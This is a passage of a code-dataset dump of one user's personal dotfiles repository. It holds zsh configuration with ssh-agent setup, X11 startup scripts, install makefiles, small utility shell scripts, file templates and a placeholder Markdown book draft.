%d (ignored): %s\" % (line_no,e))\n line = sys.stdin.readline()\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.7523041367530823, "alphanum_fraction": 0.7580645084381104, "avg_line_length": 40.33333206176758, "blob_id": "498dc2eb5762744149293efb06c3fa6099f0a7bc", "content_id": "2f416a62e0f273b35c84c41e35ba0437b8dad8f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 868, "license_type": "no_license", "max_line_length": 71, "num_lines": 21, "path": "/lib/template.sh", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- mode:sh; indent-tabs-mode:nil; sh-indentation:4 -*-\n##\n# filename.sh - brief description\n##\n#\n# Copyright (C) 2014 by attila <[email protected]>\n#\n# Permission to use, copy, modify, and/or distribute this software for\n# any purpose with or without fee is hereby granted, provided that the\n# above copyright notice and this permission notice appear in all\n# copies.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n# WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\n# AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\n# DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR\n# PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER\n# TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR\n# PERFORMANCE OF THIS SOFTWARE.\n##\n" }, { "alpha_fraction": 0.6813559532165527, "alphanum_fraction": 0.68813556432724, "avg_line_length": 20.071428298950195, "blob_id": "10ebcff03a774eb52e851d4a6cd8c3478df42009", "content_id": "897300feab6c6744240864b0dadcd61247e965b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 295, "license_type": "no_license", "max_line_length": 51, "num_lines": 14, "path": "/x11-desktop/xinitrc", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nxfd=${X_FONT_DIR-/usr/local/lib/X11/fonts}\nfor subd in Droid webfonts URW profont; do\n [ -d ${xfd}/${subd} ] && xset +fp ${xfd}/${subd}/\ndone\nxset fp rehash\nxrdb -merge $HOME/.Xdefaults\nxmodmap $HOME/.xmodmaprc\nxsetroot -solid black\nxscreensaver &\n#fbpanel &\nopenbox\n#mate-session\n" }, { "alpha_fraction": 0.4593175947666168, "alphanum_fraction": 0.4724409580230713, "avg_line_length": 20.16666603088379, "blob_id": "9a13af48b36f3c794e3e17c28c85ae5b05d7ec1b", "content_id": "3d9166f67bf0cb373407ec67cd40533437ff2fa1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 381, "license_type": "no_license", "max_line_length": 41, "num_lines": 18, "path": "/bin/mkmdir", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nBASE=${MAILDIR_BASE-$HOME/Maildir}\n[ x\"$*\" = x ] && {\n echo usage: $0 foldername\n echo ...... base dir: ${BASE}\n exit 1\n}\nnm=\"$1\"\n[ -d ${BASE}/${nm} ] && {\n echo $0: ${BASE}/${nm} already exists\n exit 1\n}\nmkdir ${BASE}/${nm} && \\\n mkdir ${BASE}/${nm}/cur && \\\n mkdir ${BASE}/${nm}/new && \\\n mkdir ${BASE}/${nm}/tmp && \\\n chmod -R g=rx ${BASE}/${nm}\n" }, { "alpha_fraction": 0.6967508792877197, "alphanum_fraction": 0.6967508792877197, "avg_line_length": 18.785715103149414, "blob_id": "574b411b385ebe0634e9bfe406ab1ced40956fbf", "content_id": "6a61592e4fe4022def3355921806716272ac8aa2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 277, "license_type": "no_license", "max_line_length": 86, "num_lines": 14, "path": "/dotfiles/_makefile", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n#\n\nDOTFILES?=bashrc emacs profile rc screenrc zshaliases zshenv zshrc gitconfig tmux.conf\n\ndefault: all\n\nall clean distclean:\n\ninstall: all\n\t@(for f in $(DOTFILES); do $(FAKE) $(INSTALL) $$f $(DOTDIR)/.$$f; done)\n\nuninstall:\n\t@echo No uninstall for dotfiles\n" }, { "alpha_fraction": 0.5772198438644409, "alphanum_fraction": 0.5877001285552979, "avg_line_length": 25.31212043762207, "blob_id": "1e0f5e13477787461cc91a3d8c6e2a90ae6e2386", "content_id": "a375006a648d46ff5aefe4d5e11c039678e37075", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 8683, "license_type": "no_license", "max_line_length": 100, "num_lines": 330, "path": "/dotfiles/zshrc", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "## attila's zsh setup -*- mode:sh; indent-tabs-mode:nil; sh-indentation:2 -*-\n\n[ -f $HOME/.zshenv ] && source $HOME/.zshenv\n\numask 002\n\n## This is set definitively later on...\nagent_not_there=0\n\nsetopt PROMPT_SUBST\nsetopt nohup\n\nam_root=0\n[ x\"`id -u`\" = x0 ] && am_root=1\nPROMPTAIL='$ '\nif [ $am_root = 1 ]; then\n PROMPTAIL='# '\nfi\n\ndelta_t() {\n _DELTA_T=0\n _now=`date +%s`\n if [ x\"$_LAST_T\" = \"x\" ]; then\n _DELTA_T='?'\n else\n _secs=\"`expr $_now - $_LAST_T`\"\n if [ x\"$_secs\" = \"x\" ]; then\n _DELTA_T='?'\n else\n _DELTA_T=\"`ub -Q grok $_secs secs`\"\n fi\n fi\n _LAST_T=$_now\n}\n\n## setprompt - set our prompt appropriately\n##\nsetprompt() {\n#delta_t\n venv_=\"\"\n _venv=\"\"\n [ ! -z \"$VIRTUAL_ENV\" ] && {\n _venv=\" {`basename $VIRTUAL_ENV`}\"\n venv_=\"{`basename $VIRTUAL_ENV`} \"\n }\n _branch=\"\"\n git_branch=\"\"\n git_branch_=\"\"\n dirty=\"\"\n [ -z \"$NO_GIT_PROMPT\" -a \\( -x /usr/bin/git -o -x /usr/local/bin/git -o -x $HOME/bin/git \\) ] && {\n _branch=\"`git status -sb 2>/dev/null | sed -e '2,$d' -e 's/^##[ ]*//' -e 's/\\.\\.\\..*$//'`\"\n _dirty=\"expr 0 + `git status -sb 2>/dev/null | wc -l`\"\n _dirty=`eval $_dirty`\n [ x\"$_branch\" != x ] && {\n [ \"${_dirty}\" != 1 ] && dirty='*'\n git_branch=\"($_branch${dirty})\"\n git_branch_=\"${git_branch} \"\n }\n }\n A_GIT_BRANCH=\"${git_branch}\"\n [ x\"${A_GIT_BRANCH}\" = x ] && A_GIT_BRANCH=\"\"\n ## current load, colored\n _cur_load=`uptime | awk -F, '{print $4,$5,$6;}'|sed -e 's/[^0-9\\. ]//g'|awk '{print $1}'`\n _load_gt1=`expr $_cur_load \\> 0.9`\n _load_gt2=`expr $_cur_load \\> 1.9`\n _load_gt3=`expr $_cur_load \\> 2.9`\n _load_str=\"\"\n load_str_=\"\"\n _ldstr=\"\"\n if [ $_load_gt3 -eq 1 ]; then\n _ldstr=\"%F{red}[$_cur_load]%f\"\n elif [ $_load_gt2 -eq 1 ]; then\n _ldstr=\"%F{magenta}[$_cur_load]%f\"\n elif [ $_load_gt1 -eq 1 ]; then\n _ldstr=\"%F{yellow}[$_cur_load]%f\"\n fi\n if [ \"x${_ldstr}\" != x ]; then\n _load_str=\" $_ldstr\"\n load_str_=\"$_ldstr \"\n fi\n _arch=`uname -m`\n case x\"$TERM\" in\n xemacs|xdumb)\n export PROMPT=\"%3~ %h \"$PROMPTAIL\n export RPROMPT=\"\"\n ;;\n xcygwin|xeterm|xxterm)\n export PROMPT=\"%B${PROMPTAIL}%f%b\"\n export RPROMPT=\"%n@%m #%h <%2~> ${git_branch}${load_str_}${venv_}%S[%D{%H:%M:%S%z}]%s\"\n ;;\n *)\n export PROMPT=\"%B${PROMPTAIL}%f%b\"\n export RPROMPT=\"%n@%m #%h <%2~> ${git_branch}${load_str_}${venv_}%S[%D{%H:%M:%S%z}]%s\"\n # export PROMPT='%S[%D{%H:%M:%S}]%s %m %i'$PROMPTAIL'%f'\n # export RPROMPT=\"\"\n ;;\n esac\n bindkey \"^?\" backward-delete-char\n bindkey \"\\e[3~\" backward-delete-char\n bindkey -e\n bindkey ' ' magic-space\n setopt AUTO_LIST\n setopt AUTO_MENU\n}\n\nsetprompt\n\nsource ~/.zshaliases\n\nHISTSIZE=10000\nHISTFILE=~/.zhistory\nSAVEHIST=10000\nDIRSTACKSIZE=100\n\n#hosts=(itzamna agrun hawg sancho fizzle agar)\n#compctl -k hosts ssh\n#compctl -k hosts telnet\n#compctl -k hosts -S ':' + -f -x 'n[1,:]' -f - 'n[1,@]' -k hosts -S ':' -- scp\n#compctl -k hosts -S ':' + -f -x 'n[1,:]' -f - 'n[1,@]' -k hosts -S ':' -- rsync\n#compctl -g '*(-/)' cd pushd\n#compctl -g '*(/)' rmdir dircmp\n#compctl -j -P % -x 's[-] p[1]' -k signals -- kill\n#compctl -j -P % fg bg wait jobs disown\n#compctl -A shift\n#compctl -caF type whence which\n#compctl -F unfunction\n#compctl -a unalias\n#compctl -v unset typeset declare vared readonly export integer\n#compctl -e disable\n#compctl -d enable\n\n#fpath=($fpath ~/.zsh) # if your compdef dir is ~/.zsh\n#autoload -U compinit\n#compinit\n\n## xtermtitle - set the title of xterms we are running in\n##\nxtermtitle() {\n case x$TERM in\n xxterm*|xrxvt)\n if [ x\"$1\" = x ]; then\n tit=`print -P \"[z] %n@%m [%l] ${A_GIT_BRANCH}%2~\"`\n xtitle \"${tit}\"\n xicontitle \"${tit}\"\n else\n xtitle \"`print -P '[%m] $1'`\"\n xicontitle \"`print -P '[%m] $1'`\"\n fi\n ;;\n xscreen)\n if [ x\"$1\" = x ]; then\n if [ x\"$ZT\" = x ]; then\n tit=`print -P \"[z] %l in ${A_GIT_BRANCH}%2~\"`\n screen_title.pl \"${tit}\"\n else\n screen_title.pl \"[z] $ZT\"\n fi\n else\n screen_title.pl \"[z] $1\"\n fi\n ;;\n *) ;;\n esac\n}\n\n## Check for gpg-agent\ncheckgpg() {\n gpgai=$HOME/.gpg-agent-info\n needa=0\n [ -f $gpgai ] && source $gpgai\n if [ x\"$GPG_AGENT_INFO\" = x ]; then\n needa=1\n else\n _f=`echo $GPG_AGENT_INFO | awk -F: '{print $1}'`\n [ ! -S $_f ] && needa=1\n fi\n if [ $needa -eq 1 ]; then\n gpg-agent --daemon --enable-ssh-support --write-env-file $gpgai\n source $gpgai\n fi\n export GPG_AGENT_INFO\n}\n\n## checkagent - set agent_not_there to 1 or 0\n##\ncheckagent() {\n if [ x\"$SSH_AGENT_PID\" = x ]; then\n agent_not_there=1\n else\n agent_not_there=0\n (kill -0 $SSH_AGENT_PID 2>/dev/null) || agent_not_there=1\n fi\n}\n\n##\n# Define precmd() depending on the type of terminal environment we\n# have; in EMACS, don't do the xtermtitle bit. Also, set EDITOR and\n# CVSEDITOR appropriately.\n##\n\nsettsy() {\n ((stty -a 2>&1) | grep -q kerninfo) && stty kerninfo\n}\ntermsy() {\n settsy\n case \"$TERM\" in\n screen*)\n export EDITOR=zile\n export CVSEDITOR=zile\n precmd() {\n\tcheckagent\n\tsetprompt\n\txtermtitle\n }\n preexec() {\n\tcheckagent\n\tsetprompt\n\txtermtitle \"$1\"\n }\n xtermtitle\n stty intr ^C\n ;;\n cygwin|xterm*|dtterm|rxvt)\n export TERM=xterm\n export EDITOR=zile\n export CVSEDITOR=zile\n # export EDITOR=teco\n # export CVSEDITOR=teco\n precmd() {\n\tcheckagent\n\tsetprompt\n\txtermtitle\n }\n preexec() {\n\tcheckagent\n\tsetprompt\n\txtermtitle \"$1\"\n }\n xtermtitle \"\"\n [ -t 0 ] && stty intr ^C\n ;;\n emacs|dumb)\n if [ x\"$IN_EMACS\" = \"xt\" ]; then\n\t export EDITOR=emacsclient\n\t export CVSEDITOR=emacsclient\n\t export PAGER=cat\n else\n\t export EDITOR=ed\n\t export CVSEDITOR=ed\n\t export PAGER=cat\n fi\n precmd() {\n\tcheckagent\n\tsetprompt\n }\n ;;\n esac\n}\ntermsy\n\n##\n# Authentication Fu\n#\n# My shell instances make contact with the ssh-agent process on\n# my laptop by means of a convention using a file in my ~/.ssh\n# directory called agent_info. There is a set of commands in\n# ~/bin/reagent that does the right stuff, which I source to\n# set up my environment. If that doesn't work, then I do what\n# is needed to get my agent running, including mounting the\n# encrypted filesystem where I keep my keys. I use a hacked\n# version of vnconfig that knows how to talk to ssh-askpass,\n# which I really should submit to the OpenBSD project...\n#\n# I don't recommend doing this kind of magic on a multi-user\n# machine. I only do this on my laptop, and I never let anyone\n# else use my laptop. Ever.\n##\nstart_agent=0\nssh-add -l >/dev/null 2>&1 || start_agent=1\n_agfile=$HOME/.ssh/agent_info\nif [ $start_agent = 1 -a -x $HOME/bin/reagent ]; then\n ## Try sourcing agent_info. If it has stale information\n ## then the reagent invocation below will force a new\n ## ssh-agent process to kick off and we'll be prompted for\n ## passphrases\n if [ -f $_agfile ]; then\n source $_agfile\n fi\n ## If not running under X then ssh-askpass will prompt on\n ## stdin; if we are, then redirect stdin to /dev/null to\n ## force ssh-askpass to use a GUI instead.\n if [ x${DISPLAY} = x ]; then\n reagent\n else\n reagent < /dev/null\n fi\n ## Finally, agent_info should be cooked.\n source $_agfile\nfi\n## It might be that some losing Linux/Ubuntu crap has happened to us\n## and we're using an ssh-agent that was already started for us by\n## whatever Linux.crack the machine happened to be smoking. In this\n## case it seems to be easier to go with the crack.flow and use that\n## ssh-agent process. In that case we will have noticed a working\n## agent above. We now look to make sure that the info in agent_info\n## is correct, which is a bit expensive but we only do it at at\n## start-up time. If there are turds in agent_info from a previous\n## incarnation, we'll catch it here and over-write them with working\n## infos. This will keep us from starting more than one ssh agent.\nif [ x\"$SSH_AUTH_SOCK\" != x -a $start_agent = 0 -a -w $HOME/.ssh ]; then\n write_it=1\n if [ -f $_agfile ]; then\n grep -q $SSH_AUTH_SOCK $_agfile && write_it=0\n fi\n ## Out of date info in agent_info - overwrite\n if [ $write_it = 1 ]; then\n echo SSH_AUTH_SOCK=$SSH_AUTH_SOCK > $_agfile\n echo export SSH_AUTH_SOCK\t >> $_agfile\n echo SSH_AGENT_PID=$SSH_AGENT_PID >> $_agfile\n echo export SSH_AGENT_PID\t >> $_agfile\n fi\nfi\n\n## This keeps bizarre extra newlines from appearing in EMACS shell\n## buffers...\nif [ x$EMACS = xt ]; then\n unsetopt zle\nfi\n\n[ -f $HOME/.zshrc_local ] && source $HOME/.zshrc_local\n" }, { "alpha_fraction": 0.7058823704719543, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 18.83333396911621, "blob_id": "a62e705aa244251624447350a94a51db16c9c56e", "content_id": "1f2b56fab14048e0b4a97cb0c0be8549e55b2138", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 119, "license_type": "no_license", "max_line_length": 53, "num_lines": 6, "path": "/openbsd-any/grind_mail.sh", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nofflineimap\nflail -1 'incoming; fspam; sync; autofile; sync; ssz'\nspamfish `latest_spam_folder`\n#mu index\n" }, { "alpha_fraction": 0.6282973885536194, "alphanum_fraction": 0.6282973885536194, "avg_line_length": 18.85714340209961, "blob_id": "1535197b2a0c62c1e41215248d3973397cd05e5b", "content_id": "dcc8f165085a9929abdfc0258def6060cb1ae6ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 417, "license_type": "no_license", "max_line_length": 92, "num_lines": 21, "path": "/lib/_makefile", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n\nTEMPLATES?=template.*\nFILES?=*.au *.png Utils.pm\nLIBPERL?=perl/*.p[lm]\n\ndefault: all\n\nall clean distclean:\n\ninstall: all $(LIBDIR)/perl\n\t@(for f in $(TEMPLATES) $(FILES) $(LIBPERL); do $(FAKE) $(INSTALL) $$f $(LIBDIR)/$$f; done)\n\nuninstall: $(LIBDIR)/perl\n\t@echo No uninstall for dotfiles\n\n$(LIBDIR)/perl: $(LIBDIR)\n\t$(FAKE) $(INSTALL_D) $(LIBDIR)/perl\n\n$(LIBDIR):\n\t$(FAKE) $(INSTALL_D) $(LIBDIR)\n" }, { "alpha_fraction": 0.5170637369155884, "alphanum_fraction": 0.5305859446525574, "avg_line_length": 18.172840118408203, "blob_id": "37d1fb1c472394529a845c10b3d10784ee8bcf77", "content_id": "4bd0e619718749767da2c6b512d87a8175c114e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1553, "license_type": "no_license", "max_line_length": 76, "num_lines": 81, "path": "/bin/perpetually", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\n# perpetually - do something perpetually and timestamp the output into a log\n#\n# I use this command:\n# $ perpetually finance\n# to start up my finance watching log. Since I have the LOGDIR envar\n# set to ~/logs, this ends up appending time-stamped logs of my view\n# of the financial world to ~/logs/finance.log every 300 seconds.\n#\n# This script depends on my ts script, also in ~/bin and visible\n##\n\n# usage: v=`optval option $string`\n# if $string looks like \"--option=foo\" then v will be \"foo\"\n#\noptval () {\n _opt=\"$1\"\n shift\n echo \"$*\" | sed -e \"s/^--${_opt}=//\"\n}\n\n## Initialize\n\nsleep=300\ncmd=\"\"\nmsg=\"\"\n\n## Parse CLA\n\nwhile [ x\"$1\" != x ]; do\n case \"$1\" in\n --sleep=*)\n\t _sleep=`optval sleep \"$1\"`\n\t echo $0: sleep: $sleep '=>' $_sleep\n\t sleep=$_sleep\n\t ;;\n\t--msg=*)\n\t msg=`optval msg \"$1\"`\n\t ;;\n\t--log=*)\n\t log=`optval log \"$1\"`\n\t ;;\n\t*)\n\t if [ x\"$cmd\" = x ]; then\n\t\tcmd=\"$1\"\n\t else\n\t\tcmd=\"${cmd} $1\"\n\t fi\n\t ;;\n esac\n shift\ndone\n\n## Apply defaults\n\n[ x\"$cmd\" = x ] && {\n echo usage: `basename $0` '[--sleep=s] [--msg=m] [--log=l] 'command\n exit 1\n}\n[ x\"$msg\" = x ] && {\n msg=\"Running: $cmd\"\n}\n[ x\"$log\" = x ] && {\n _name=`echo ${cmd} | awk '{print $1}'`\n log=`basename ${_name}`.log\n [ x\"${LOGDIR}\" != x ] && {\n\tlog=\"${LOGDIR}/${log}\"\n }\n echo $0: logging to ${log}\n}\n\n## Drop into our loop\n\nexec 2>&1\t\t\t\t# we want stderr in the log\nwhile true; do\n echo '*** '$msg\n ${cmd}\n echo '*** All quiet'\n sleep ${sleep}\ndone | ts -days ${log}\n" }, { "alpha_fraction": 0.6877192854881287, "alphanum_fraction": 0.6877192854881287, "avg_line_length": 25.71875, "blob_id": "8d0d17f2a5a41588a59e02d1cbca420955c770de", "content_id": "3ace9783965b4a5025cc22da400c676721b1c30c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 855, "license_type": "no_license", "max_line_length": 296, "num_lines": 32, "path": "/bin/_makefile", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n#\n\nSCRIPTS?=auto-tunnel cutbuf deagent dotdist.sh emax finance life mktunnel my_ip neagent nm-wwan-stomp nsopen numbers open_cutbuffer open_cutbuffer_tab osdtail psmap qs reagent scraper screen_title.pl ts ub xmlpp scrape_telmex_modem telmex_ip zzz_ask ask_before update-nameservers perpetually numz\nBINARIES?=xtitle xicontitle xalltitles\n\ndefault: all\n\nall: $(BINARIES)\n\nxtitle: xtitle.c\n\nxicontitle: xtitle\n\t-$(FAKE) $(LN) -s xtitle xicontitle\n\nxalltitles: xtitle\n\t-$(FAKE) $(LN) -s xtitle xalltitles\n\ninstall: $(BINDIR) all\n\t@(for f in $(SCRIPTS) $(BINARIES); do $(FAKE) $(INSTALL) $$f $(BINDIR); done)\n\nuninstall: $(BINDIR)\n\t(for f in $(SCRIPTS) $(BINARIES); do $(FAKE) $(RM) -f $(BINDIR)/$$f; done)\n\nclean:\n\t$(FAKE) $(RM) -f $(BINARIES) *.o\n\ndistclean: clean\n\t$(FAKE) $(RM) -f *~ *.tmp\n\n$(BINDIR):\n\t$(FAKE) $(INSTALL_D) $(BINDIR)\n" }, { "alpha_fraction": 0.6653061509132385, "alphanum_fraction": 0.6775510311126709, "avg_line_length": 19.41666603088379, "blob_id": "0781e0a1723494e142ee934923e46f2c624d721c", "content_id": "0ef4411566cc2b0ade7b9d7de528e83725cb1afa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 245, "license_type": "no_license", "max_line_length": 46, "num_lines": 12, "path": "/x11-desktop/dot.xsessionrc", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nxrdb -merge $HOME/.Xdefaults\n#xmodmap $HOME/.xmodmaprc\n#xsetroot -solid black\n#xfce4-panel > $HOME/.xfce-panel-output 2>&1 &\n#psmap -n xscreensaver || {\n# xscreensaver &\n#}\n#psmap -n emacs || emacs --daemon\nopenbox \n#mate-session\n" }, { "alpha_fraction": 0.6034482717514038, "alphanum_fraction": 0.6724137663841248, "avg_line_length": 37.66666793823242, "blob_id": "564e552b95819d309ee6cd305b4fbeae9fa799c1", "content_id": "6b9e7ae9b1bd38fafc12bab7557a88571b8c231e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 116, "license_type": "no_license", "max_line_length": 102, "num_lines": 3, "path": "/bin/zzz_ask", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nxterm -title \"Confirm Suspend\" -geometry 60x10 -e 'dialog --yesno \"Really Suspend?\" 10 60 && sudo zzz'\n" }, { "alpha_fraction": 0.5855262875556946, "alphanum_fraction": 0.5986841917037964, "avg_line_length": 20.714284896850586, "blob_id": "ec2fac117d6b23b21f3f30c0c58a9ff8df3d63a4", "content_id": "93e142fa128e97dfa507075e8fecca321494aee2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 456, "license_type": "no_license", "max_line_length": 86, "num_lines": 21, "path": "/bin/emax", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "#!/bin/sh\n##\nmyuid=`id -u`\nmysockname=emacs${myuid}/server\ntmpdir=${TMPDIR-$HOME/tmp}\nmysock=${EMAX_SOCK-x}\n[ \"${mysock}\" = x ] && \\\n mysock=\"`ls -1t /tmp/${mysockname} ${tmpdir}/${mysockname} 2>/dev/null | head -1`\"\n[ ! -S ${mysock} ] && {\n echo $0: no socket found\n exit 1\n}\n# echo emacsclient --socket-name=${mysock} $*\nemacsclient --socket-name=${mysock} $*\n##\n# Variables:\n# mode: shell-script\n# indent-tabs-mode: nil\n# tab-width: 4\n# End\n##\n" }, { "alpha_fraction": 0.6969253420829773, "alphanum_fraction": 0.69838947057724, "avg_line_length": 21.032258987426758, "blob_id": "ea50e21dd1b1a02b0f70ecb89217d74df64144c7", "content_id": "7c5a8ac021f4f667e615dc3a6f039d33bd6aab4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 683, "license_type": "no_license", "max_line_length": 70, "num_lines": 31, "path": "/writing/book.md", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "Title: Am I There?\nAuthor: Portnoy Semantic\nDate: DD-MMM-YYYY\nBase Header Level: 2\nlatex mode: book\nlatex input: mmd-tufte-book-header\nlatex input: mmd-tufte-book-begin-doc\nlatex input: mmd-tufte-book-footer\n\n# First Glance #\n\nA snark glowered in the window. Ravens crowed and crowed until the\nsun came out, then went away. All was darkness. The cats clinked and\nclinked as they patted each other with great affection and sharp\nclaws.\n\n## A Moment ##\n\nA moment in time. I guess this is literature...\n\n## Another ##\n\nAnother sibling moment in time.\n\n# Second Heart #\n\n\"Ipsum lorem\" cried the potters.\n\n## The Moon ##\n\nRising, and yet setting. I'm upside-down.\n" }, { "alpha_fraction": 0.745916485786438, "alphanum_fraction": 0.7613430023193359, "avg_line_length": 16.774192810058594, "blob_id": "d6c591505bd2984f6a01c50a6f2986c0990c131c", "content_id": "57cf1758ca4f7b5292304bcf7f47400d4c997a39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1102, "license_type": "no_license", "max_line_length": 69, "num_lines": 62, "path": "/lib/template.js", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "/*\n\n=pod\n\n=head1 NAME\n\nfilename.js - description\n\n=head1 VERSION\n\n 0.1.0\n\n=head1 DESCRIPTION\n\nWrite something.\n\n=cut\n\n*/\n\nThing = function() {\n};\n\nThing.KONST = 1;\n\n/*\n\n=pod\n\n=head1 AUTHOR\n\n attila <[email protected]>\n\n=head1 LICENSE\n\nCopyright (C) 2014 by attila <[email protected]>\n\nPermission to use, copy, modify, and/or distribute this software for\nany purpose with or without fee is hereby granted, provided that the\nabove copyright notice and this permission notice appear in all\ncopies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\nWARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\nAUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\nDAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR\nPROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER\nTORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR\nPERFORMANCE OF THIS SOFTWARE.\n\n=cut\n\nLocal variables:\nmode: javascript\njavascript-indent-level: 4\ntab-width: 4\nindent-tabs-mode: nil\ntime-stamp-line-limit: 40\nEnd:\n\n*/\n" }, { "alpha_fraction": 0.5833333134651184, "alphanum_fraction": 0.5833333134651184, "avg_line_length": 17.545454025268555, "blob_id": "ef0b8cafd439c4dc234f499b385e8d30a5fa93ab", "content_id": "1d5c2ceed0fb2eb81ea060bf05443bed674ffae6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 204, "license_type": "no_license", "max_line_length": 68, "num_lines": 11, "path": "/emacs/_makefile", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- makefile -*-\n\ndefault: all\n\nall uninstall clean distclean:\n\ninstall: $(EMACSDIR)\n\t@($(FAKE) $(TAR_CF) - lisp) | (cd $(EMACSDIR); $(FAKE) $(TAR_XF) -)\n\n$(EMACSDIR):\n\t$(FAKE) $(INSTALL_D) $(EMACSDIR)\n" }, { "alpha_fraction": 0.6714162230491638, "alphanum_fraction": 0.6865285038948059, "avg_line_length": 25.620689392089844, "blob_id": "049d9ec82beaad1d643111ed2e861988b95b09f7", "content_id": "10ac6a739f52cd9a0bedc6c5b1357ddea7384e9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2316, "license_type": "no_license", "max_line_length": 146, "num_lines": 87, "path": "/dotfiles/zshenv", "repo_name": "StAlphonsos/attila", "src_encoding": "UTF-8", "text": "# -*- mode:sh; sh-indentation:2; indent-tabs-mode:nil -*-\nexport PATH=$HOME/bin:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/usr/local/apache/bin:/usr/X11R6/bin:/usr/X11R6/sbin:/bin:/sbin:/usr/games\nexport SURFRAW_browser=w3m\nexport CVS_RSH=ssh\nexport EDITOR=mg\nexport CVSEDITOR=$EDITOR\n#export BROWSER=firefox\nexport NODENAME=`uname -n`\nexport MODELINE_HOST=`uname -n | awk -F. '{print $1}'`\n#export SSH_ASKPASS=/usr/X11R6/bin/ssh-askpass\n#export PKGS=ftp://openbsd.mirrors.pair.com/`uname -r`/packages/i386\nexport FTPMODE=passive\n#export MOZLOCK=${MOZLOCK-$HOME/.mozilla/default/0pe7s963.slt/lock}\n#export TROY_BASE=$HOME/consulting/troy\n#export OTX_BASE=$TROY_BASE/svn/OTX\n#export OTX_LEGACY=$OTX_BASE/Legacy/cgi\n#export PERL5LIB=$HOME/lib/perl:$HOME/libdata/perl5:$HOME/libdata/perl5/site_perl\n#export LEFTYPATH=/usr/local/share/examples/graphviz/lefty\n#export DW6K_STATUS_URL=http://192.168.0.1/stats/summary/summary.html\n#export QT_XFT=true\nexport K2_WEB_ROOT=/usr/local/apache/vhosts/k2\nexport LOCALPYTHONPATH=/var/www-vhosts/localhost.kwantera.com/build/pymodbus\nexport MY_VIRTUAL_ENVS=$HOME/virtual\nexport UB_PATH=$HOME/lib/perl\nexport K=$HOME/Work/kWantera\n\ncase `uname` in\n *Linux*)\n export IS_LINUX=t\n export IS_BSD=f\n function onlinux () { $* }\n function onbsd () { }\n ;;\n *BSD*)\n export IS_LINUX=f\n export IS_BSD=t\n function onlinux () { }\n function onbsd () { $* }\n ;;\n *)\n export IS_LINUX=f\n export IS_BSD=f\n function onlinux () { }\n function onbsd () { }\n ;;\nesac\n\nsuss_editor () {\n _editor=${EDITOR}\n _emacsclient=\"`which emacsclient`\"\n if [ x\"${_emacsclient}\" = x ]; then\n _editor=${DEFAULT_EDITOR-/bin/ed}\n else\n if [ x\"${DISPLAY}\" != x ]; then\n _editor=\"${_emacsclient} -c\"\n else\n _editor=\"${_emacsclient} -nw\"\n fi\n fi\n EDITOR=${_editor}\n export EDITOR\n [ x\"$1\" = \"x-v\" ] && echo 